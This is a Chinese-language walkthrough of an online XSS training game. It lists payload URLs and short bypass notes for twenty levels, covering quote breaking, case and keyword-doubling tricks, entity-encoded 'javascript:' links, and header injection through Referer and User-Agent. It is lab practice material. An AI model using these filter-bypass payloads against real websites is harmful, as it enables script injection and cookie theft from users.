xss挑战 1

说明

一个xss练习平台,在线地址:http://test.xss.tv/

xss用法js总结

AwesomeXSS

xss的常规思路:

1.先找注入点

2.再找输出点

3.根据输出点位置,格式,显示不断重新尝试有效载荷

LEVEL-1

payload

http://test.ctf8.com/level1.php?name=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://test.ctf8.com/level1.php?name=%3Csvg/onload=alert(1)%3E
http://test.ctf8.com/level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E 
http://test.ctf8.com/level1.php?name=%%3Ca%20href=%22javascript:alert(1)%22%3Etest%3C/a%3E 

LEVEL-2

显而易见,上面尖括号被过滤了,而下面却没有

PHP中 ' 中的变量不会执行

"中的变量执行。只要闭合双引号即可

payload

http://test.ctf8.com/level2.php?keyword=%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E
http://test.ctf8.com/level4.php?keyword="onclick="window.alert()

LEVEL-3

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

payload

http://test.ctf8.com/level3.php?keyword=%27onclick%3D%27window.alert%28%29&submit=%E6%90%9C%E7%B4%A2

LEVEL-4

payload

http://test.ctf8.com/level4.php?keyword=%22onmouseover=%22alert(1)

LEVEL-5

但是这串代码没有过滤 <字符和> 字符,那么我们可以使用标签的href属性构造payload进行弹窗
payload

http://test.ctf8.com/level5.php?keyword=%22%3E%20%3Ca%20href=%22javascript:alert(1)%22%3Exss%3C/a%3E

LEVEL-6


payload

http://test.ctf8.com/level6.php?keyword=%22ONclick%3D%22window.alert%28%29&submit=%E6%90%9C%E7%B4%A2

LEVEL-7


payload

http://test.ctf8.com/level7.php?keyword=%22%3E%3CScrscriptipt%3Ealert(1)%3C/Scriscriptpt%3E

LEVEL-8


Javascript:伪协议后面可以使用URL编码。
        如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
        可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
        因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
        <a href="javascript:%61lert(1)">click me</a>

payload

http://test.ctf8.com/level8.php?keyword=javascri%26%23x0070%3Bt%3Aalert%28%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

LEVEL-9

只要让它检测到http,却不能起到作用就可以了,所以可以用注释

payload

http://test.ctf8.com/level9.php?keyword=javascri%26%23x0070%3Bt%3Aalert%281%29%2F*http%3A%2F%2Fwww.baidu.com*%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

LEVEL-10

payload

http://test.ctf8.com/level10.php?keyword%20=%20test&t_sort=%22type=%22text%22%20onclick%20=%20%22alert(1)

LEVEL-11

payload

Referer: "onclick=alert(1) type="text"  //所添加的Referer头部

LEVEL-12

payload

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " onclick=alert(1) type="text

LEVEL-13



payload

user=call+me+maybe%3F " onclick=alert(1) type="text"

LEVEL-14



查看源码,点击

这关目前做不了,我再看看

LEVEL-15



payload

http://127.0.0.1/xss练习小游戏/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

LEVEL-16


payload

http://127.0.0.1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert()%3E

LEVEL-17


过滤了尖括号和双引号,用on事件触发
payload

http://127.0.0.1/xss练习小游戏/level17.php?arg01=a&arg02=b%20onclick=alert(1)

LEVEL-18


payload

http://127.0.0.1/xss练习小游戏/level18.php?arg01=a&arg02=%20onclick=alert(1)

LEVEL-19

19,20均为flash分析
需要


payload

http://127.0.0.1/xss练习小游戏/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

LEVEL-20


具体可以参考freebuf
确实很少碰到,算flash中xss少的了

payload

http://127.0.0.1/xss练习小游戏/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

猜你喜欢

转载自www.cnblogs.com/howtime/p/12500295.html
今日推荐